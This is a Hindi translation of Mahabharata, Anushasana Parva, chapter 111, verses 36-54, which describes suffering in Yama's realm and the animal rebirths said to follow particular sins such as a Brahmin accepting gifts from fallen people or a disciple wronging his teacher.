महाभारत अनुशासन पर्व अध्याय 111 श्लोक 36-54

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एकादशाधिकशततम (111) अध्याय: अनुशासन पर्व (दानधर्म पर्व)

महाभारत: अनुशासन पर्व: एकादशाधिकशततम अध्याय: श्लोक 36-54 का हिन्दी अनुवाद

(गर्भ में आने के पहले सूक्ष्म शरीर में स्थित होकर अपने दुष्कर्मों के कारण) वह यमदूतों द्वारा नाना प्रकार के क्लेष पाता, उनके प्रहार सहता और दुःखमय संसार चक्र में भांति-भांति के कष्ट भोगता है । पृथ्वीनाथ। यदि प्राणी इस लोक में जन्म से ही पुण्य कर्म में लगा रहता है तो वह धर्म के फल का आश्रय लेकर उसके अनुसार सुख भोगता है। यदि अपनी शक्ति के अनुसार बाल्यकाल से ही धर्म का सेवन करता है तो वह मनुष्य होकर सदा सुख का अनुभव करता है । किंतु धर्म के बीच में यदि कभी-कभी वह अधर्म का भी आचरण कर बैठता है तो उसे सुख के बाद दुःख भी भोगना पड़ता है । अधर्म परायण मनुष्य यमलोक में जाता है और वहां महान दुःख भोगकर यहां पशु-पक्षियों की योनि में जन्म लेता है । जीव मोह के वशीभूत होकर जिस-जिस कर्म का अनुष्ठान करने से जैसी-जैसी योनि में जन्म धारण करता है, उसे बता रहा हूं । शास्त्र, इतिहास और वेद में जो यह बात बताई गई है कि मनुष्य इस लोक में पाप करने पर मृत्यु के पश्चात यमराज के भयंकर लोक में जाता है, यह सत्य ही है । भूपाल। इस यमलोक में देवलोक के समान पुण्यमय स्थान भी हैं, जिनके तिर्यक (तथा कीट-पतंग आदि) योनि के प्राणियों को छोड़कर समस्त पुण्यात्मा जंगम जीव होते हैं । यमराज का भवन सौन्दर्य आदि गुणों के कारण ब्रह्मलोक के समान दिव्य भी है। परंतु अपने नीयत पाप कर्मों से बंधा हुआ जीव वहां भी नरक में पड़कर दुःख भोगता है । मनुष्य जिस-जिस भाव और जिस-जिस कर्म से निष्ठुरता पूर्ण भयंकर गति को प्राप्त होता, अब उसी को बता रहा हूं । जो द्विज चारों वेदों का अध्ययन करने बाद भी मोहवश पतित मनुष्यों से दान लेता है, उसका गदहे की योनि में जन्म होता है । भारत। गदहे की योनि में वह पन्द्रह वर्षों तक जीवित रहता है। उसके बाद मरकर बैल होता है। उस योनि में वह सात बर्षों तक जीवित रहत है । जब बैल का शरीर छूट जाता है, तब वह ब्रह्म राक्षस होता है। तीन मास तक ब्रह्म राक्षस रहने के बाद फिर वह ब्राह्माण का जन्म पाता है । भारत। जो ब्राह्माण पतित पुरूष को यज्ञ कराता है, वह मरने के बाद कीड़े की योनि में जन्म लेता है और उस योनि में पन्द्रह वर्षों तक जीवित रहता है । कीड़े की योनि से छूटने पर वह गदहे का जन्म पाता है। पांच वर्ष तक गधा रहकर पांच वर्ष सूअर, पांच वर्ष मुर्गा, पांच वर्ष सियार और एक वर्ष कुत्ता होता है। उसके बाद वह मनुष्य योनि में उत्पन्न होता है । जो मूर्ख शिष्य अपने अध्यापक का अपराध करता है, वह यहां निम्नांकित तीन योनियों में जन्म ग्रहण करता है, इसमें संशय नहीं है। राजेन्द्र। पहले तो वह कुत्ता होता है फिर राक्षस और गदहा होता है। उसके बाद मरकर प्रेतावस्था में अनेक कष्ट भोगने के पश्चात ब्राह्माण का जन्म पाता है । जो पापाचरी शिष्य गुरूपत्नि के साथ समागम का विचार भी मन में लाता है वह अपने मानसिक पाप के कारण भयंकर योनियों में जन्म लेता है ।



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टीका टिप्पणी और संदर्भ

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